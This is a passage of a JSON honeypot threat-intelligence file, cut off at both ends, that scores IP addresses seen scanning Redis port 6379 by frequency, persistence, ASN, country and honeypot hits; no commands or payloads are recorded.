    },
    "5.175.218.129": {
      "attack_count": 20,
      "first_seen": "2026-05-28T07:08:38.000Z",
      "last_seen": "2026-05-28T07:35:13.657Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 30893,
      "as_org": "No ACK Group Holding AB",
      "threat_score": 35.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-28T06:47:02+00:00",
        "last_seen_30d": "2026-05-28T07:47:09.353000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Honeytrap": 9,
        "Redishoneypot": 8
      }
    },
    "81.29.142.6": {
      "attack_count": 20,
      "first_seen": "2026-05-02T00:04:22.000Z",
      "last_seen": "2026-05-02T00:05:42.397Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.6,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 574,
        "days_active_30d": 6,
        "ports_targeted_30d": 41,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T00:04:22+00:00",
        "last_seen_30d": "2026-05-07T18:15:41.316000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 376,
        "Honeytrap": 172,
        "Dionaea": 11,
        "Redishoneypot": 6,
        "Cowrie": 5,
        "ElasticPot": 3,
        "Sentrypeer": 1
      }
    },
    "64.23.181.60": {
      "attack_count": 19,
      "first_seen": "2026-05-07T10:48:11.000Z",
      "last_seen": "2026-05-07T10:49:17.263Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 164372,
        "days_active_30d": 1,
        "ports_targeted_30d": 62320,
        "honeypots_triggered_30d": 15,
        "first_seen_30d": "2026-05-07T10:44:54+00:00",
        "last_seen_30d": "2026-05-07T10:59:15.543000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 139040,
        "Honeytrap": 25273,
        "Mailoney": 12,
        "Cowrie": 10,
        "ConPot": 9,
        "Miniprint": 8,
        "Dionaea": 7,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "71.6.232.24": {
      "attack_count": 18,
      "first_seen": "2026-05-06T15:38:35.000Z",
      "last_seen": "2026-05-06T15:40:10.672Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 75.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.6,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 57,
        "days_active_30d": 25,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-04T12:34:00.780000+00:00",
        "last_seen_30d": "2026-05-28T03:08:28.822000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Redishoneypot": 6,
        "Dionaea": 3,
        "Honeytrap": 2,
        "Tanner": 2,
        "Mailoney": 1
      }
    },
    "80.94.95.221": {
      "attack_count": 18,
      "first_seen": "2026-05-22T09:37:21.000Z",
      "last_seen": "2026-05-22T10:07:48.441Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 204428,
      "as_org": "SS-Net",
      "threat_score": 78.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 25.9,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 393,
        "days_active_30d": 26,
        "ports_targeted_30d": 60,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T09:01:22+00:00",
        "last_seen_30d": "2026-05-28T07:34:18.976000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 214,
        "Honeytrap": 157,
        "Adbhoney": 16,
        "Redishoneypot": 6
      }
    },
    "134.122.118.217": {
      "attack_count": 17,
      "first_seen": "2026-05-19T05:04:31.000Z",
      "last_seen": "2026-05-19T05:05:45.888Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-18T18:13:09+00:00",
        "last_seen_30d": "2026-05-19T05:05:45.888000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Honeytrap": 8,
        "Redishoneypot": 5
      }
    },
    "20.65.194.105": {
      "attack_count": 17,
      "first_seen": "2026-05-16T11:41:59.000Z",
      "last_seen": "2026-05-16T11:44:57.354Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 41.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.8,
        "persistence": 11.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 14,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-16T11:43:03.850000+00:00",
        "last_seen_30d": "2026-05-29T21:54:23.650000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Honeytrap": 4,
        "Redishoneypot": 3
      }
    },
    "51.8.107.68": {
      "attack_count": 17,
      "first_seen": "2026-05-10T11:01:30.000Z",
      "last_seen": "2026-05-10T11:03:07.267Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 46.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.4,
        "persistence": 15.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 19,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T11:02:00+00:00",
        "last_seen_30d": "2026-05-28T14:56:26.411000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "20.168.121.92": {
      "attack_count": 16,
      "first_seen": "2026-05-12T05:11:11.000Z",
      "last_seen": "2026-05-12T05:14:33.372Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 53.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.0,
        "persistence": 20.8,
        "diversity": 16,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 25,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T08:14:22.024000+00:00",
        "last_seen_30d": "2026-05-26T11:16:48.271000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Redishoneypot": 3,
        "Honeytrap": 2
      }
    },
    "20.15.225.72": {
      "attack_count": 15,
      "first_seen": "2026-05-05T22:30:29.000Z",
      "last_seen": "2026-05-05T22:32:00.041Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 68.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.2,
        "persistence": 20.8,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 25,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T22:30:52+00:00",
        "last_seen_30d": "2026-05-29T02:49:40.603000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 10,
        "Redishoneypot": 3,
        "Dionaea": 2
      }
    },
    "20.168.122.30": {
      "attack_count": 15,
      "first_seen": "2026-05-03T11:11:05.000Z",
      "last_seen": "2026-05-03T11:13:55.957Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 47.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.0,
        "persistence": 22.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 27,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T11:12:15.517000+00:00",
        "last_seen_30d": "2026-05-29T23:45:10.305000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Redishoneypot": 3,
        "Honeytrap": 1
      }
    },
    "20.64.105.244": {
      "attack_count": 15,
      "first_seen": "2026-05-06T19:07:26.000Z",
      "last_seen": "2026-05-06T19:09:56.294Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 10.0,
        "diversity": 14,
        "spread": 20,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 12,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-05T02:59:17.476000+00:00",
        "last_seen_30d": "2026-05-16T02:35:33.061000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Honeytrap": 10,
        "Redishoneypot": 3,
        "Tanner": 1
      }
    },
    "66.132.224.92": {
      "attack_count": 14,
      "first_seen": "2026-05-29T00:33:19.000Z",
      "last_seen": "2026-05-29T00:34:28.396Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 30,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T04:06:19.408000+00:00",
        "last_seen_30d": "2026-05-31T20:43:29.684000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 14,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "Ipphoney": 1,
        "Sentrypeer": 1
      }
    },
    "85.217.149.28": {
      "attack_count": 14,
      "first_seen": "2026-05-15T12:16:26.000Z",
      "last_seen": "2026-05-15T12:17:30.950Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 209334,
      "as_org": "Modat B.V.",
      "threat_score": 89.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 29.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 876,
        "days_active_30d": 30,
        "ports_targeted_30d": 425,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T05:48:17.314000+00:00",
        "last_seen_30d": "2026-05-31T12:00:41.776000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 545,
        "Honeytrap": 325,
        "Redishoneypot": 6
      }
    },
    "5.198.249.108": {
      "attack_count": 13,
      "first_seen": "2026-05-15T03:49:29.000Z",
      "last_seen": "2026-05-15T03:50:36.940Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 42708,
      "as_org": "Glesys AB",
      "threat_score": 9.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T03:49:30+00:00",
        "last_seen_30d": "2026-05-15T03:50:36.940000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Redishoneypot": 3
      }
    },
    "66.132.172.215": {
      "attack_count": 13,
      "first_seen": "2026-05-17T04:50:08.000Z",
      "last_seen": "2026-05-17T04:51:19.443Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T09:16:22+00:00",
        "last_seen_30d": "2026-05-31T14:55:38.210000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 121,
        "Honeytrap": 45,
        "Redishoneypot": 6,
        "H0neytr4p": 4,
        "Honeyaml": 4,
        "CitrixHoneypot": 3,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "186.3.217.69": {
      "attack_count": 12,
      "first_seen": "2026-05-10T23:38:09.000Z",
      "last_seen": "2026-05-12T10:58:42.032Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Guayaquil",
      "asn": 27947,
      "as_org": "Telconet S.A",
      "threat_score": 4.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-10T23:39:10.939000+00:00",
        "last_seen_30d": "2026-05-12T10:58:42.032000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "66.132.172.195": {
      "attack_count": 12,
      "first_seen": "2026-05-23T00:31:21.000Z",
      "last_seen": "2026-05-23T00:32:33.558Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 173,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T09:35:38.246000+00:00",
        "last_seen_30d": "2026-05-31T19:12:16.535000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 107,
        "Honeytrap": 49,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Honeyaml": 4,
        "Ipphoney": 1
      }
    },
    "109.244.159.27": {
      "attack_count": 10,
      "first_seen": "2026-05-19T11:44:50.000Z",
      "last_seen": "2026-05-19T11:46:05.589Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanjing",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:44:51+00:00",
        "last_seen_30d": "2026-05-19T11:46:05.589000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 5,
        "Suricata": 1
      }
    },
    "115.190.12.139": {
      "attack_count": 10,
      "first_seen": "2026-05-03T19:14:51.000Z",
      "last_seen": "2026-05-06T09:19:26.261Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T19:16:26.709000+00:00",
        "last_seen_30d": "2026-05-06T09:19:26.261000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "147.185.132.111": {
      "attack_count": 10,
      "first_seen": "2026-05-09T01:39:29.000Z",
      "last_seen": "2026-05-09T01:41:01.457Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 129,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-03T02:29:21+00:00",
        "last_seen_30d": "2026-05-30T07:12:04.226000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 83,
        "Honeytrap": 23,
        "ConPot": 8,
        "Mailoney": 5,
        "Dionaea": 3,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "180.76.58.237": {
      "attack_count": 10,
      "first_seen": "2026-05-09T22:49:17.000Z",
      "last_seen": "2026-05-27T04:46:57.048Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 3.0,
        "persistence": 15.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 19,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-09T22:50:26.308000+00:00",
        "last_seen_30d": "2026-05-27T04:46:57.048000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "198.235.24.118": {
      "attack_count": 10,
      "first_seen": "2026-05-12T21:11:48.000Z",
      "last_seen": "2026-05-12T21:13:25.051Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 144,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T00:48:41+00:00",
        "last_seen_30d": "2026-05-31T00:17:37.651000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 89,
        "Honeytrap": 27,
        "ConPot": 18,
        "Cowrie": 4,
        "Redishoneypot": 3,
        "CitrixHoneypot": 1,
        "Tanner": 1,
        "Wordpot": 1
      }
    },
    "198.235.24.96": {
      "attack_count": 10,
      "first_seen": "2026-05-07T19:42:33.000Z",
      "last_seen": "2026-05-07T19:44:10.297Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 85.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 127,
        "days_active_30d": 29,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T05:31:35.222000+00:00",
        "last_seen_30d": "2026-05-31T07:12:35.333000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 97,
        "Honeytrap": 26,
        "Redishoneypot": 3,
        "Dionaea": 1
      }
    },
    "205.210.31.164": {
      "attack_count": 10,
      "first_seen": "2026-05-17T19:30:38.000Z",
      "last_seen": "2026-05-17T19:32:10.999Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 28,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T20:31:25.883000+00:00",
        "last_seen_30d": "2026-05-29T13:36:50.906000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 55,
        "Honeytrap": 19,
        "Redishoneypot": 3,
        "ElasticPot": 1,
        "Sentrypeer": 1
      }
    },
    "205.210.31.176": {
      "attack_count": 10,
      "first_seen": "2026-05-27T02:33:45.000Z",
      "last_seen": "2026-05-27T02:35:25.076Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 93,
        "days_active_30d": 30,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T06:37:44+00:00",
        "last_seen_30d": "2026-05-31T22:21:59.968000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 62,
        "Honeytrap": 26,
        "Redishoneypot": 3,
        "H0neytr4p": 1,
        "Tanner": 1
      }
    },
    "205.210.31.255": {
      "attack_count": 10,
      "first_seen": "2026-05-20T04:07:37.000Z",
      "last_seen": "2026-05-20T04:09:15.532Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 30,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T08:20:30.299000+00:00",
        "last_seen_30d": "2026-05-31T03:57:09.563000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 26,
        "Redishoneypot": 3,
        "Dionaea": 2
      }
    },
    "220.154.133.141": {
      "attack_count": 10,
      "first_seen": "2026-05-03T18:04:31.000Z",
      "last_seen": "2026-05-04T20:00:34.330Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134756,
      "as_org": "CHINANET Nanjing Jishan IDC network",
      "threat_score": 1.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-03T18:05:41.688000+00:00",
        "last_seen_30d": "2026-05-04T20:00:34.330000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "44.220.185.238": {
      "attack_count": 10,
      "first_seen": "2026-05-04T00:13:30.000Z",
      "last_seen": "2026-05-04T00:14:35.476Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T00:13:30+00:00",
        "last_seen_30d": "2026-05-04T00:14:35.476000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "47.106.175.248": {
      "attack_count": 10,
      "first_seen": "2026-05-10T05:24:52.000Z",
      "last_seen": "2026-05-10T05:25:56.756Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
